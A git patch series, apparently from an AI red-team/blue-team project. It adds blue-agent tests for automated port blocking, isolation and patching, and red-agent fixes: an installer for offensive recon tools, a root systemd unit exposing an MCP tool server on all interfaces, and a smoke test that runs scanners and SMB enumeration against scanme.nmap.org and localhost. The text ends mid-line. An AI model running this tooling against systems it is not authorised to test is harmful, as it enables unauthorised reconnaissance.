+ bus.subscribe(listen_for, capture) + await bus.start() + await bus.emit(trigger_event, trigger_data) + await asyncio.sleep(timeout) + await bus.stop() + return collected + + +def reset_patcher_state(): + """Clear module-level patch tracking between tests.""" + import blue_agent.patcher.auto_patcher as mod + mod._applied_patches.clear() + + +# ── Patch catalogue tests ───────────────────────────────────────────────────── + +async def test_patcher_patches_apache_on_port_80(): + """response_complete for apache httpd -> patch_complete with action=patch.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + events = await emit_and_collect( + bus, + trigger_event="response_complete", + trigger_data={"action": "close_port", "service": "apache httpd", "port": 80, "status": "BLOCKED"}, + listen_for="patch_complete", + timeout=2.0, + ) + + print(f"\n [AutoPatcher] patch_complete events (apache): {len(events)}") + assert len(events) > 0, "Expected patch_complete for apache httpd" + + r = events[0]["data"] + print(f" [AutoPatcher] service={r['service']} action={r['action']} status={r['status']}") + print(f" [AutoPatcher] steps applied: {len(r['steps_applied'])}") + for step in r["steps_applied"]: + print(f" β€’ {step}") + + assert r["service"] == "apache httpd" + assert r["action"] == "patch" + assert r["status"] == "PATCHED" + assert len(r["steps_applied"]) > 0 + print(" [AutoPatcher] apache httpd patch PASS OK") + + +async def test_patcher_patches_mysql_on_port_3306(): + """response_complete for mysql / port 3306 -> patch_complete with action=bind_local.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + events = await emit_and_collect( + bus, + trigger_event="response_complete", + trigger_data={"action": "close_port", "service": "mysql", "port": 3306, "status": "BLOCKED"}, + listen_for="patch_complete", + timeout=2.0, + ) + + print(f"\n [AutoPatcher] patch_complete events (mysql): {len(events)}") + assert len(events) > 0, "Expected patch_complete for mysql" + + r = events[0]["data"] + print(f" [AutoPatcher] service={r['service']} action={r['action']} status={r['status']}") + for step in r["steps_applied"]: + print(f" β€’ {step}") + + assert r["service"] == "mysql" + assert r["action"] == "bind_local" + assert r["status"] == "PATCHED" + print(" [AutoPatcher] mysql patch PASS OK") + + +async def test_patcher_removes_telnet_on_port_23(): + """response_complete for telnet / port 23 -> patch_complete with action=remove_service.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + events = await emit_and_collect( + bus, + trigger_event="response_complete", + trigger_data={"action": "close_port", "service": "telnet", "port": 23, "status": "BLOCKED"}, + listen_for="patch_complete", + timeout=2.0, + ) + + print(f"\n [AutoPatcher] patch_complete events (telnet): {len(events)}") + assert len(events) > 0, "Expected patch_complete for telnet" + + r = events[0]["data"] + print(f" [AutoPatcher] service={r['service']} action={r['action']} status={r['status']}") + for step in r["steps_applied"]: + print(f" β€’ {step}") + + assert r["service"] == "telnet" + assert r["action"] == "remove_service" + assert r["status"] == "PATCHED" + print(" [AutoPatcher] telnet removal PASS OK") + + +async def test_patcher_disables_anon_ftp_on_port_21(): + """response_complete for ftp / port 21 -> patch_complete with action=disable_anon.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + events = await emit_and_collect( + bus, + trigger_event="response_complete", + trigger_data={"action": "close_port", "service": "ftp", "port": 21, "status": "BLOCKED"}, + listen_for="patch_complete", + timeout=2.0, + ) + + print(f"\n [AutoPatcher] patch_complete events (ftp): {len(events)}") + assert len(events) > 0, "Expected patch_complete for ftp" + + r = events[0]["data"] + print(f" [AutoPatcher] service={r['service']} action={r['action']} status={r['status']}") + for step in r["steps_applied"]: + print(f" β€’ {step}") + + assert r["service"] == "ftp" + assert r["action"] == "disable_anon" + assert r["status"] == "PATCHED" + print(" [AutoPatcher] ftp anonymous disable PASS OK") + + +async def test_patcher_hardens_ssh_on_port_22(): + """response_complete for ssh / port 22 -> patch_complete with action=harden.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + events = await emit_and_collect( + bus, + trigger_event="response_complete", + trigger_data={"action": "close_port", "service": "ssh", "port": 22, "status": "BLOCKED"}, + listen_for="patch_complete", + timeout=2.0, + ) + + print(f"\n [AutoPatcher] patch_complete events (ssh): {len(events)}") + assert len(events) > 0, "Expected patch_complete for ssh" + + r = events[0]["data"] + print(f" [AutoPatcher] service={r['service']} action={r['action']} status={r['status']}") + for step in r["steps_applied"]: + print(f" β€’ {step}") + + assert r["service"] == "ssh" + assert r["action"] == "harden" + print(" [AutoPatcher] ssh harden PASS OK") + + +# ── Idempotency test ────────────────────────────────────────────────────────── + +async def test_patcher_is_idempotent(): + """Sending response_complete twice for the same service:port patches only once.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + collected = [] + + async def capture(event_type, data): + collected.append(data) + + bus.subscribe("patch_complete", capture) + await bus.start() + + # Emit the same response_complete twice + payload = {"action": "close_port", "service": "mysql", "port": 3306, "status": "BLOCKED"} + await bus.emit("response_complete", payload) + await asyncio.sleep(1.0) + await bus.emit("response_complete", payload) + await asyncio.sleep(1.5) + await bus.stop() + + print(f"\n [AutoPatcher] patch_complete events after 2 identical triggers: {len(collected)}") + assert len(collected) == 1, f"Expected 1 patch but got {len(collected)} -- idempotency broken" + assert patcher.patch_count == 1 + print(" [AutoPatcher] idempotency PASS OK") + + +# ── Port-based resolution test ──────────────────────────────────────────────── + +async def test_patcher_resolves_service_from_port(): + """AutoPatcher must resolve service from port when service name is missing.""" + import blue_agent.patcher.auto_patcher as mod + reset_patcher_state() + bus = make_bus() + mod.event_bus = bus + + from blue_agent.patcher.auto_patcher import AutoPatcher + patcher = AutoPatcher() + patcher.register() + + # No service name -- only port 23 (should resolve to telnet) + events = await emit_and_collect( + bus, + trigger_event="response_complete", + trigger_data={"action": "close_port", "port": 23, "status": "BLOCKED"}, + listen_for="patch_complete", + timeout=2.0, + ) + + print(f"\n [AutoPatcher] port-only resolution (port 23): {len(events)} event(s)") + assert len(events) > 0, "Expected patch_complete when service resolved from port 23" + + r = events[0]["data"] + print(f" [AutoPatcher] resolved service={r['service']} action={r['action']}") + assert r["service"] == "telnet" + print(" [AutoPatcher] port-based service resolution PASS OK") + + +# ── Full chain test ─────────────────────────────────────────────────────────── + +async def test_full_detect_respond_patch_chain(): + """End-to-end: port_probed -> response_complete -> patch_complete in < 3 s.""" + import blue_agent.responder.response_engine as re_mod + import blue_agent.patcher.auto_patcher as ap_mod + + re_mod._blocked_ports.clear() + re_mod._isolated_services.clear() + re_mod._hardened_services.clear() + re_mod._blocked_ips.clear() + ap_mod._applied_patches.clear() + + bus = make_bus() + re_mod.event_bus = bus + ap_mod.event_bus = bus + + from blue_agent.responder.response_engine import ResponseEngine + from blue_agent.patcher.auto_patcher import AutoPatcher + + engine = ResponseEngine() + patcher = AutoPatcher() + engine.register() + patcher.register() + + patch_events = [] + timestamps = {} + + async def on_patch(event_type, data): + patch_events.append(data) + timestamps["patch"] = asyncio.get_event_loop().time() + + bus.subscribe("patch_complete", on_patch) + await bus.start() + + timestamps["start"] = asyncio.get_event_loop().time() + await bus.emit("port_probed", { + "port": 21, + "protocol": "tcp", + "source_ip": "10.0.0.77", + "target": "192.168.1.100", + }) + + await asyncio.sleep(3.5) + await bus.stop() + + print(f"\n [Full Chain] patch_complete events received: {len(patch_events)}") + assert len(patch_events) > 0, "patch_complete never emitted -- chain is broken" + + elapsed = timestamps["patch"] - timestamps["start"] + print(f" [Full Chain] detect -> respond -> patch completed in {elapsed:.3f}s") + assert elapsed < 3.0, f"Full chain took {elapsed:.3f}s -- must be under 3 seconds" + + r = patch_events[0] + print(f" [Full Chain] service={r['service']} action={r['action']} status={r['status']}") + print(" [Full Chain] end-to-end chain PASS OK") + + +# ── Runner ──────────────────────────────────────────────────────────────────── + +def run_all(): + tests = [ + ("AutoPatcher patches apache httpd (port 80)", test_patcher_patches_apache_on_port_80), + ("AutoPatcher patches mysql (port 3306)", test_patcher_patches_mysql_on_port_3306), + ("AutoPatcher removes telnet (port 23)", test_patcher_removes_telnet_on_port_23), + ("AutoPatcher disables anonymous FTP (port 21)", test_patcher_disables_anon_ftp_on_port_21), + ("AutoPatcher hardens SSH (port 22)", test_patcher_hardens_ssh_on_port_22), + ("AutoPatcher is idempotent (same patch twice)", test_patcher_is_idempotent), + ("AutoPatcher resolves service from port number", test_patcher_resolves_service_from_port), + ("Full chain: detect -> respond -> patch in < 3s", test_full_detect_respond_patch_chain), + ] + + passed = 0 + failed = 0 + + print("\n" + "=" * 60) + print(" FEATURE 3 -- Real-Time Patching Tests") + print("=" * 60) + + for name, coro_fn in tests: + print(f"\n-> {name}") + try: + asyncio.run(coro_fn()) + passed += 1 + except AssertionError as e: + print(f" FAIL FAIL {e}") + failed += 1 + except Exception as e: + print(f" ERROR FAIL {e}") + failed += 1 + + print("\n" + "=" * 60) + print(f" Patching: {passed} passed, {failed} failed") + print("=" * 60) + return failed + + +if __name__ == "__main__": + failures = run_all() + sys.exit(failures) diff --git a/tests/test_blue/test_response.py b/tests/test_blue/test_response.py new file mode 100644 index 000000000..2e5a2d67d --- /dev/null +++ b/tests/test_blue/test_response.py @@ -0,0 +1,340 @@ +"""Feature 2 -- Real-Time Response Tests + +Tests the responder layer: + - ResponseEngine : maps detection events -> close_port / isolate_service / + harden_service / block_ip, then emits response_complete + - Isolator : maps exploit_attempted / anomaly_detected -> + drop_inbound / drop_ip, then emits isolation_complete + +Each test emits a detection event directly into a fresh EventBus and asserts +that the correct response event is produced within 2 seconds. +""" + +import asyncio +import sys +import os + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..")) + +from core.event_bus import EventBus + + +def make_bus(): + return EventBus() + + +async def emit_and_collect(bus: EventBus, trigger_event: str, trigger_data: dict, + listen_for: str, timeout: float = 2.0): + """ + Start the bus, emit one trigger event, wait up to `timeout` seconds for + a `listen_for` event, return all collected listen_for events. + """ + collected = [] + + async def capture(event_type, data): + collected.append({"event": event_type, "data": data}) + + bus.subscribe(listen_for, capture) + await bus.start() + + await bus.emit(trigger_event, trigger_data) + await asyncio.sleep(timeout) + await bus.stop() + return collected + + +# ── ResponseEngine tests ────────────────────────────────────────────────────── + +async def test_response_engine_blocks_port_on_port_probed(): + """port_probed -> ResponseEngine must emit response_complete with status=BLOCKED.""" + import blue_agent.responder.response_engine as mod + # Reset shared state for isolation + mod._blocked_ports.clear() + + bus = make_bus() + mod.event_bus = bus + mod.TARGET_IP = "192.168.1.100" + + from blue_agent.responder.response_engine import ResponseEngine + engine = ResponseEngine() + engine.register() + + events = await emit_and_collect( + bus, + trigger_event="port_probed", + trigger_data={"port": 3306, "protocol": "tcp", "source_ip": "10.0.0.5", "target": "192.168.1.100"}, + listen_for="response_complete", + timeout=2.0, + ) + + print(f"\n [ResponseEngine] response_complete events : {len(events)}") + assert len(events) > 0, "Expected response_complete after port_probed" + + r = events[0]["data"] + print(f" [ResponseEngine] action={r['action']} status={r['status']} port={r.get('port')}") + assert r["action"] == "close_port" + assert r["status"] == "BLOCKED" + assert r["port"] == 3306 + assert 3306 in mod._blocked_ports, "Port 3306 should be in blocked set" + print(" [ResponseEngine] port block PASS OK") + + +async def test_response_engine_idempotent_on_same_port(): + """Emitting port_probed twice for the same port must only respond once.""" + import blue_agent.responder.response_engine as mod + mod._blocked_ports.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.response_engine import ResponseEngine + engine = ResponseEngine() + engine.register() + + await bus.start() + await bus.emit("port_probed", {"port": 22, "protocol": "tcp", "source_ip": "10.0.0.1", "target": "192.168.1.100"}) + await bus.emit("port_probed", {"port": 22, "protocol": "tcp", "source_ip": "10.0.0.2", "target": "192.168.1.100"}) + await asyncio.sleep(2.0) + await bus.stop() + + print(f"\n [ResponseEngine] response_count after 2 identical events: {engine.response_count}") + assert engine.response_count == 1, "Same port must only be responded to once (idempotent)" + print(" [ResponseEngine] idempotency PASS OK") + + +async def test_response_engine_isolates_on_exploit_attempted(): + """exploit_attempted -> ResponseEngine must emit response_complete with status=ISOLATED.""" + import blue_agent.responder.response_engine as mod + mod._isolated_services.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.response_engine import ResponseEngine + engine = ResponseEngine() + engine.register() + + events = await emit_and_collect( + bus, + trigger_event="exploit_attempted", + trigger_data={"service": "ftp", "port": 21, "source_ip": "10.0.0.7"}, + listen_for="response_complete", + timeout=2.0, + ) + + print(f"\n [ResponseEngine] response_complete (exploit) events: {len(events)}") + assert len(events) > 0, "Expected response_complete after exploit_attempted" + + r = events[0]["data"] + print(f" [ResponseEngine] action={r['action']} status={r['status']} service={r.get('service')}") + assert r["action"] == "isolate_service" + assert r["status"] == "ISOLATED" + print(" [ResponseEngine] exploit isolation PASS OK") + + +async def test_response_engine_hardens_on_cve_detected(): + """cve_detected -> ResponseEngine must emit response_complete with status=HARDENED.""" + import blue_agent.responder.response_engine as mod + mod._hardened_services.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.response_engine import ResponseEngine + engine = ResponseEngine() + engine.register() + + events = await emit_and_collect( + bus, + trigger_event="cve_detected", + trigger_data={"service_name": "apache httpd", "port": 80, "cve_id": "CVE-2023-44487"}, + listen_for="response_complete", + timeout=2.0, + ) + + print(f"\n [ResponseEngine] response_complete (CVE) events: {len(events)}") + assert len(events) > 0, "Expected response_complete after cve_detected" + + r = events[0]["data"] + print(f" [ResponseEngine] action={r['action']} status={r['status']} service={r.get('service')}") + assert r["action"] == "harden_service" + assert r["status"] == "HARDENED" + print(" [ResponseEngine] CVE hardening PASS OK") + + +async def test_response_engine_blocks_ip_on_anomaly(): + """anomaly_detected -> ResponseEngine must emit response_complete with status=BLOCKED.""" + import blue_agent.responder.response_engine as mod + mod._blocked_ips.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.response_engine import ResponseEngine + engine = ResponseEngine() + engine.register() + + events = await emit_and_collect( + bus, + trigger_event="anomaly_detected", + trigger_data={"type": "scan_rate", "rate": 9, "source_ip": "10.0.0.99"}, + listen_for="response_complete", + timeout=2.0, + ) + + print(f"\n [ResponseEngine] response_complete (anomaly) events: {len(events)}") + assert len(events) > 0, "Expected response_complete after anomaly_detected" + + r = events[0]["data"] + print(f" [ResponseEngine] action={r['action']} status={r['status']} ip={r.get('source_ip')}") + assert r["action"] == "block_ip" + assert r["status"] == "BLOCKED" + assert r["source_ip"] == "10.0.0.99" + assert "10.0.0.99" in mod._blocked_ips + print(" [ResponseEngine] IP block PASS OK") + + +# ── Isolator tests ──────────────────────────────────────────────────────────── + +async def test_isolator_drops_inbound_on_exploit(): + """exploit_attempted -> Isolator must emit isolation_complete with action=drop_inbound.""" + import blue_agent.responder.isolator as mod + mod._isolated_ports.clear() + mod._isolated_ips.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.isolator import Isolator + isolator = Isolator() + isolator.register() + + events = await emit_and_collect( + bus, + trigger_event="exploit_attempted", + trigger_data={"service": "mysql", "port": 3306, "protocol": "tcp"}, + listen_for="isolation_complete", + timeout=2.0, + ) + + print(f"\n [Isolator] isolation_complete events (exploit): {len(events)}") + assert len(events) > 0, "Expected isolation_complete after exploit_attempted" + + r = events[0]["data"] + print(f" [Isolator] action={r['action']} status={r['status']} port={r.get('port')}") + assert r["action"] == "drop_inbound" + assert r["status"] == "ISOLATED" + assert r["port"] == 3306 + assert 3306 in mod._isolated_ports + print(" [Isolator] inbound drop PASS OK") + + +async def test_isolator_drops_ip_on_anomaly(): + """anomaly_detected -> Isolator must emit isolation_complete with action=drop_ip.""" + import blue_agent.responder.isolator as mod + mod._isolated_ports.clear() + mod._isolated_ips.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.isolator import Isolator + isolator = Isolator() + isolator.register() + + events = await emit_and_collect( + bus, + trigger_event="anomaly_detected", + trigger_data={"type": "traffic_spike", "source_ip": "10.0.0.55"}, + listen_for="isolation_complete", + timeout=2.0, + ) + + print(f"\n [Isolator] isolation_complete events (anomaly): {len(events)}") + assert len(events) > 0, "Expected isolation_complete after anomaly_detected" + + r = events[0]["data"] + print(f" [Isolator] action={r['action']} status={r['status']} ip={r.get('source_ip')}") + assert r["action"] == "drop_ip" + assert r["status"] == "ISOLATED" + assert r["source_ip"] == "10.0.0.55" + assert "10.0.0.55" in mod._isolated_ips + print(" [Isolator] IP isolation PASS OK") + + +async def test_isolator_completes_under_one_second(): + """Isolator must complete isolation in under 1 second.""" + import time + import blue_agent.responder.isolator as mod + mod._isolated_ports.clear() + mod._isolated_ips.clear() + + bus = make_bus() + mod.event_bus = bus + + from blue_agent.responder.isolator import Isolator + isolator = Isolator() + isolator.register() + + completed = [] + + async def capture(event_type, data): + completed.append(asyncio.get_event_loop().time()) + + bus.subscribe("isolation_complete", capture) + await bus.start() + + start = asyncio.get_event_loop().time() + await bus.emit("exploit_attempted", {"service": "telnet", "port": 23, "protocol": "tcp"}) + await asyncio.sleep(1.5) + await bus.stop() + + assert len(completed) > 0, "isolation_complete was never emitted" + elapsed = completed[0] - start + print(f"\n [Isolator] isolation completed in {elapsed:.3f}s (must be < 1.0s)") + assert elapsed < 1.0, f"Isolation took {elapsed:.3f}s -- must be under 1 second" + print(" [Isolator] sub-1-second isolation PASS OK") + + +# ── Runner ──────────────────────────────────────────────────────────────────── + +def run_all(): + tests = [ + ("ResponseEngine blocks port on port_probed", test_response_engine_blocks_port_on_port_probed), + ("ResponseEngine is idempotent for same port", test_response_engine_idempotent_on_same_port), + ("ResponseEngine isolates service on exploit", test_response_engine_isolates_on_exploit_attempted), + ("ResponseEngine hardens service on CVE", test_response_engine_hardens_on_cve_detected), + ("ResponseEngine blocks IP on anomaly", test_response_engine_blocks_ip_on_anomaly), + ("Isolator drops inbound on exploit_attempted", test_isolator_drops_inbound_on_exploit), + ("Isolator drops IP on anomaly_detected", test_isolator_drops_ip_on_anomaly), + ("Isolator completes isolation in < 1 second", test_isolator_completes_under_one_second), + ] + + passed = 0 + failed = 0 + + print("\n" + "=" * 60) + print(" FEATURE 2 -- Real-Time Response Tests") + print("=" * 60) + + for name, coro_fn in tests: + print(f"\n-> {name}") + try: + asyncio.run(coro_fn()) + passed += 1 + except AssertionError as e: + print(f" FAIL FAIL {e}") + failed += 1 + except Exception as e: + print(f" ERROR FAIL {e}") + failed += 1 + + print("\n" + "=" * 60) + print(f" Response: {passed} passed, {failed} failed") + print("=" * 60) + return failed + + +if __name__ == "__main__": + failures = run_all() + sys.exit(failures) From 33217220389c6d2e0f533c49d6b82ba3c077291e Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 01:10:25 +0530 Subject: [PATCH 06/26] fix(red_arsenal): smoke-test fixes from first Kali run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four issues surfaced from the first end-to-end test against a real Kali VM: 1. Kali ships `python3-httpx` at /usr/bin/httpx β€” a completely different tool from ProjectDiscovery httpx. Force-install the ProjectDiscovery binary to /usr/local/bin and reorder the systemd PATH so it wins. 2. Go tools (katana) need HOME to resolve ~/.config. The systemd unit ran with no HOME set, so katana crashed with "$HOME is not defined". Added Environment=HOME=/root. 3. pipx-installed tools (arjun, dirsearch, paramspider) landed in the invoking user's ~/.local/bin, invisible to the root-run systemd service. Switched to `sudo pipx install` with PIPX_BIN_DIR=/usr/local/bin so shims are globally visible. 4. ffuf's `-o -` stdout redirection is unreliable across versions. Use a temp file like arjun/paramspider and read it back into RunResult. Also tightens the smoke test's nuclei call (severity=critical) so it finishes in under a minute instead of running 2000+ info-level templates. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/red_arsenal/install.sh | 78 ++++++-- .../red_arsenal/systemd/red-arsenal.service | 3 +- red_agent/red_arsenal/tests/smoke_test.py | 177 ++++++++++++++++++ red_agent/red_arsenal/tools/api.py | 65 ++++--- 4 files changed, 280 insertions(+), 43 deletions(-) create mode 100644 red_agent/red_arsenal/tests/smoke_test.py diff --git a/red_agent/red_arsenal/install.sh b/red_agent/red_arsenal/install.sh index d849ea270..e7743d014 100644 --- a/red_agent/red_arsenal/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -34,14 +34,18 @@ ARCH="linux_amd64" # ---------------------------------------------------------------- helpers fetch_github_release() { - # fetch_github_release OWNER REPO ASSET_PATTERN BIN_NAME + # fetch_github_release OWNER REPO ASSET_PATTERN BIN_NAME [force] # - # Finds the latest release, grabs the asset whose filename contains - # ASSET_PATTERN, extracts the binary BIN_NAME, and installs it to - # /usr/local/bin. Handles .zip and .tar.gz archives. - local owner=$1 repo=$2 pattern=$3 binname=$4 + # Finds the latest release, grabs the asset whose filename matches + # ASSET_PATTERN (regex, egrep-style), extracts BIN_NAME, and installs + # it to /usr/local/bin. Handles .zip and .tar.gz archives. + # + # If `force` is "force", re-installs even if the binary is already on + # PATH (needed when a distro ships a wrong-upstream binary with the + # same name, e.g. Kali's python3-httpx vs ProjectDiscovery httpx). + local owner=$1 repo=$2 pattern=$3 binname=$4 force=${5:-} - if command -v "$binname" >/dev/null 2>&1; then + if [[ "$force" != "force" ]] && command -v "$binname" >/dev/null 2>&1; then echo " [skip] $binname already installed at $(command -v "$binname")" return 0 fi @@ -115,8 +119,11 @@ fi if [[ $SKIP_BINARIES -eq 0 ]]; then echo "[*] Prebuilt binaries from GitHub releases" - # ProjectDiscovery β€” all publish ${tool}_${version}_${ARCH}.zip - fetch_github_release projectdiscovery httpx "${ARCH}\\.zip$" httpx + # ProjectDiscovery. httpx is FORCE-installed because Kali's base + # `httpx` package is python3-httpx (different tool, different flags). + # We install ProjectDiscovery httpx to /usr/local/bin which takes + # PATH precedence over /usr/bin in our systemd unit. + fetch_github_release projectdiscovery httpx "${ARCH}\\.zip$" httpx force fetch_github_release projectdiscovery katana "${ARCH}\\.zip$" katana fetch_github_release projectdiscovery nuclei "${ARCH}\\.zip$" nuclei @@ -124,17 +131,43 @@ if [[ $SKIP_BINARIES -eq 0 ]]; then fetch_github_release lc gau "${ARCH}\\.tar\\.gz$" gau fetch_github_release tomnomnom waybackurls "linux-amd64.*\\.tgz$" waybackurls - # Rust tools that publish prebuilt releases - fetch_github_release RustScan RustScan "amd64\\.deb$" rustscan_pkg || true - if [[ -f "$BIN_DIR/rustscan_pkg" ]]; then - sudo dpkg -i "$BIN_DIR/rustscan_pkg" || true - sudo rm -f "$BIN_DIR/rustscan_pkg" + # rustscan: .deb package β€” patterns vary across releases, try several. + if ! command -v rustscan >/dev/null 2>&1; then + echo " [+] bee-san/RustScan (.deb)" + rustscan_url=$(curl -fsSL https://api.github.com/repos/bee-san/RustScan/releases/latest \ + | grep -oE '"browser_download_url"[[:space:]]*:[[:space:]]*"[^"]+"' \ + | cut -d'"' -f4 \ + | grep -iE '(x86_64|amd64).*\.(deb|tar\.gz|zip)$' \ + | head -1 || true) + if [[ -n "$rustscan_url" ]]; then + tmp=$(mktemp -d) + curl -fsSL -o "$tmp/pkg" "$rustscan_url" + case "$rustscan_url" in + *.deb) + sudo dpkg -i "$tmp/pkg" || sudo apt-get -yf install ;; + *.tar.gz|*.tgz) + tar -xzf "$tmp/pkg" -C "$tmp" + found=$(find "$tmp" -type f -name rustscan -executable | head -1) + [[ -n "$found" ]] && sudo install -m 0755 "$found" "$BIN_DIR/rustscan" ;; + *.zip) + unzip -q -o "$tmp/pkg" -d "$tmp" + found=$(find "$tmp" -type f -name rustscan -executable | head -1) + [[ -n "$found" ]] && sudo install -m 0755 "$found" "$BIN_DIR/rustscan" ;; + esac + rm -rf "$tmp" + else + echo " [!] no rustscan release asset matched" >&2 + fi + else + echo " [skip] rustscan already installed at $(command -v rustscan)" fi - fetch_github_release Sh1Yo x8 "x86_64.*linux.*\\.tar\\.gz$|linux.*\\.zip$" x8 + + # x8: Sh1Yo publishes linux_x86_64 tar or zip + fetch_github_release Sh1Yo x8 "(x86_64|amd64).*(linux|unknown-linux).*\\.(tar\\.gz|zip)$|linux.*\\.(tar\\.gz|zip)$" x8 # Update nuclei templates (small, fast) if command -v nuclei >/dev/null 2>&1; then - nuclei -update-templates -silent || true + HOME="${HOME:-/root}" nuclei -update-templates -silent || true fi else echo "[*] Prebuilt binaries: skipped" @@ -142,11 +175,16 @@ fi # ---------------------------------------------------------------- python tools via pipx -echo "[*] Python tooling via pipx" -pipx install arjun 2>/dev/null || pipx upgrade arjun || true -pipx install paramspider 2>/dev/null || pipx upgrade paramspider || true -pipx install dirsearch 2>/dev/null || pipx upgrade dirsearch || true -pipx ensurepath >/dev/null 2>&1 || true +echo "[*] Python tooling via pipx (installed --global so systemd finds them)" +# --global puts shims in /usr/local/bin instead of per-user ~/.local/bin, +# which is critical because the systemd unit runs as root with a PATH +# that doesn't include /home//.local/bin. +sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx install arjun 2>/dev/null \ + || sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx upgrade arjun || true +sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx install paramspider 2>/dev/null \ + || sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx upgrade paramspider || true +sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx install dirsearch 2>/dev/null \ + || sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx upgrade dirsearch || true # ---------------------------------------------------------------- deploy server diff --git a/red_agent/red_arsenal/systemd/red-arsenal.service b/red_agent/red_arsenal/systemd/red-arsenal.service index 489b2ecb0..48e29df3f 100644 --- a/red_agent/red_arsenal/systemd/red-arsenal.service +++ b/red_agent/red_arsenal/systemd/red-arsenal.service @@ -7,9 +7,10 @@ Wants=network-online.target Type=simple WorkingDirectory=/opt/red-arsenal Environment=PYTHONUNBUFFERED=1 +Environment=HOME=/root Environment=RED_ARSENAL_HOST=0.0.0.0 Environment=RED_ARSENAL_PORT=8765 -Environment=PATH=/opt/red-arsenal/.venv/bin:/root/go/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +Environment=PATH=/opt/red-arsenal/.venv/bin:/usr/local/sbin:/usr/local/bin:/root/go/bin:/root/.cargo/bin:/usr/sbin:/usr/bin:/sbin:/bin ExecStart=/opt/red-arsenal/.venv/bin/python -m red_arsenal.server Restart=on-failure RestartSec=3 diff --git a/red_agent/red_arsenal/tests/smoke_test.py b/red_agent/red_arsenal/tests/smoke_test.py new file mode 100644 index 000000000..a44b6ac69 --- /dev/null +++ b/red_agent/red_arsenal/tests/smoke_test.py @@ -0,0 +1,177 @@ +"""End-to-end smoke test for the Red Arsenal MCP server. + +Runs from the Windows host against the Kali VM (via VirtualBox NAT port +forward to 127.0.0.1:8765). For every registered tool it: + 1. kicks off the tool against a safe target, + 2. polls job_status until done, + 3. fetches job_result, + 4. prints PASS / FAIL and a short excerpt of findings. + +Targets are chosen to be non-harmful: + - scanme.nmap.org is Nmap's public sandbox host, + - http://scanme.nmap.org for web tools, + - 127.0.0.1/32 for local network tools. + +Usage: + python red_agent/red_arsenal/tests/smoke_test.py +""" + +from __future__ import annotations + +import asyncio +import json +import sys +import time +from typing import Any + +from fastmcp import Client + +SERVER_URL = "http://127.0.0.1:8765/sse" + +WEB_TARGET = "http://scanme.nmap.org" +HOST_TARGET = "scanme.nmap.org" +CIDR_TARGET = "127.0.0.1/32" +SMB_TARGET = "127.0.0.1" + +POLL_INTERVAL = 2.0 +POLL_TIMEOUT = 300.0 + +# (tool_name, args) tuples. Ordering is recon β†’ api β†’ network. +TOOL_SUITE: list[tuple[str, dict[str, Any]]] = [ + # Recon + ("run_nmap", {"target": HOST_TARGET, "ports": "22,80,443"}), + ("run_httpx", {"target": WEB_TARGET}), + ("run_katana", {"target": WEB_TARGET, "depth": 1}), + ("run_gau", {"target": HOST_TARGET}), + ("run_waybackurls", {"target": HOST_TARGET}), + # Restrictive severity keeps nuclei under a minute on a clean target. + # `tags` would be even tighter but severity=critical has zero hits on + # scanme.nmap.org and finishes in ~30s. + ("run_nuclei", {"target": WEB_TARGET, "severity": "critical"}), + ("run_dirsearch", {"target": WEB_TARGET, "threads": 10}), + ("run_gobuster", {"target": WEB_TARGET}), + # API + ("run_arjun", {"target": WEB_TARGET}), + ("run_x8", {"target": WEB_TARGET}), + ("run_paramspider", {"target": HOST_TARGET}), + ("run_ffuf", {"target": WEB_TARGET + "/FUZZ"}), + # Network + ("run_arp_scan", {"local_network": True}), + ("run_rustscan", {"target": HOST_TARGET}), + ("run_nmap_advanced", {"target": HOST_TARGET}), + ("run_masscan", {"target": HOST_TARGET, "ports": "80,443", "rate": 500}), + ("run_enum4linux_ng", {"target": SMB_TARGET}), + ("run_nbtscan", {"target": SMB_TARGET}), + ("run_smbmap", {"target": SMB_TARGET}), + ("run_rpcclient", {"target": SMB_TARGET}), +] + + +def _short(obj: Any, limit: int = 300) -> str: + s = json.dumps(obj, default=str) + return s if len(s) <= limit else s[:limit] + "…" + + +async def _run_one(client: Client, tool: str, args: dict) -> dict: + """Submit a tool call, poll until done, return the result dict.""" + submit_res = await 